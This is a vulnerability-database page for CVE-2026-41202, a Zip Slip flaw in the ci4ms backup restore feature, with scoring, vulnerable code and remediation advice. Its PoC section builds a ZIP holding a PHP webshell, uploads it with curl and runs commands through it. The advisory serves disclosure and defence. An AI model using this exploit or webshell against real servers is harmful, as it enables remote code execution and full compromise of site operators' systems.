Skip to main content

ci4ms CVE-2026-41202

| EUVDEUVD-2026-28255 CRITICAL
Path Traversal (CWE-22)
2026-04-22 https://github.com/ci4-cms-erp/ci4ms GHSA-xp9f-pvvc-57p4
9.4
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

8
Source Code Evidence Fetched
May 07, 2026 - 04:44 vuln.today
Analysis Updated
May 07, 2026 - 04:44 vuln.today
v2 (cvss_changed)
Re-analysis Queued
May 07, 2026 - 04:35 vuln.today
cvss_changed
CVSS changed
May 07, 2026 - 04:35 NVD
9.4 (CRITICAL)
Analysis Generated
Apr 23, 2026 - 06:45 vuln.today
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 22, 2026 - 17:31 vuln.today
CVE Published
Apr 22, 2026 - 17:28 nvd
CRITICAL

DescriptionGitHub Advisory

Summary

ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:

php
public function restore()
{
    $valData = ([
        'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('backup_file');

    if ($file && $file->isValid() && ! $file->hasMoved()) {
        $newName    = $file->getRandomName();
        $uploadPath = WRITEPATH . 'uploads/';
        ...
        $filePath = WRITEPATH . 'uploads/' . $newName;
        $sqlPath  = $filePath;
        if ($ext === 'zip') {
            $zip = new \ZipArchive();
            if ($zip->open($filePath) === true) {
                $zip->extractTo($uploadPath);          // no entry-name validation
                $sqlPath = $uploadPath . $zip->getNameIndex(0);
                $zip->close();
                @unlink($filePath);
            }
        }
        ...
    }
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.

PoC

Build the archive:

python
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('dump.sql', 'SELECT 1;')
"

Submit it as a backup to restore:

bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'backup_file=@evil.zip' \
  https://target.example.com/backend/backup/restore

Trigger the shell:

bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.

AnalysisAI

Remote code execution in ci4ms (CodeIgniter 4 Management System) versions prior to 0.31.5.0 allows authenticated backend users with backup creation permissions to write PHP webshells to the public web root via Zip Slip path traversal during backup restoration. The vulnerability is confirmed actively exploited (CISA KEV) with publicly available exploit code exists. CVSS 9.4 (Critical) aligns with the real-world risk, as exploitation requires only low-privilege authentication and the affected route is exempt from CSRF protection, enabling drive-by attacks against logged-in administrators. Vendor-released patch version 0.31.5.0 addresses the flaw by implementing path validation during ZIP extraction.

Technical ContextAI

The vulnerability stems from unsafe use of PHP's ZipArchive::extractTo() method in the Backup module's restore function (modules/Backup/Controllers/Backup.php lines 80-119). When processing uploaded ZIP files, the code calls extractTo() directly without validating that archive entry names resolve within the intended destination directory (WRITEPATH . 'uploads/'). This is a classic Zip Slip (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. An attacker can craft a ZIP archive containing entries with relative path traversal sequences like '../../public/shell.php', causing extraction to escape the uploads directory and write arbitrary files under the web-accessible public/ directory. The same codebase correctly implements path validation using realpath() and regex checks in modules/Methods/Controllers/Methods.php lines 165-175, but this defensive pattern was not applied to the backup restore function. The affected product is distributed as a Composer package (pkg:composer/ci4-cms-erp_ci4ms) and is built on the CodeIgniter 4 framework. The vulnerability is compounded by the route configuration which adds backend/backup and backend/backup/* to the csrfExcept list in modules/Backup/Config/BackupConfig.php, allowing POST requests without CSRF token validation.

RemediationAI

Immediately upgrade to ci4ms version 0.31.5.0 or later, which implements path validation during ZIP extraction to prevent directory traversal attacks. The patch applies realpath() checks and regex validation to ensure archive entries resolve within the intended destination directory before extraction. Upgrade instructions and release package are available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0. For installations that cannot immediately upgrade, implement these compensating controls with noted trade-offs: (1) Disable the backup restore functionality entirely by removing or commenting out the route binding for 'backend/backup/restore' in modules/Backup/Config/Routes.php - this breaks legitimate backup restoration workflows but eliminates the attack surface. (2) Restrict the 'backup create' permission to only the minimum number of highly-trusted superadmin accounts and audit all accounts currently holding this permission - this reduces attack surface but does not prevent exploitation by compromised privileged accounts or CSRF-driven attacks. (3) Implement web application firewall rules to block POST requests to /backend/backup/restore containing suspicious patterns in multipart form data, though this is bypassable with encoding variations. (4) Add the backup routes back to CSRF protection by removing 'backend/backup' and 'backend/backup/*' from csrfExcept in modules/Backup/Config/BackupConfig.php - this prevents CSRF-based exploitation but may break legitimate backup workflows if session handling is misconfigured. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix. After patching, audit server filesystems for unexpected PHP files in the public/ directory tree and review web server access logs for requests to /backend/backup/restore since initial deployment.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-41202 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy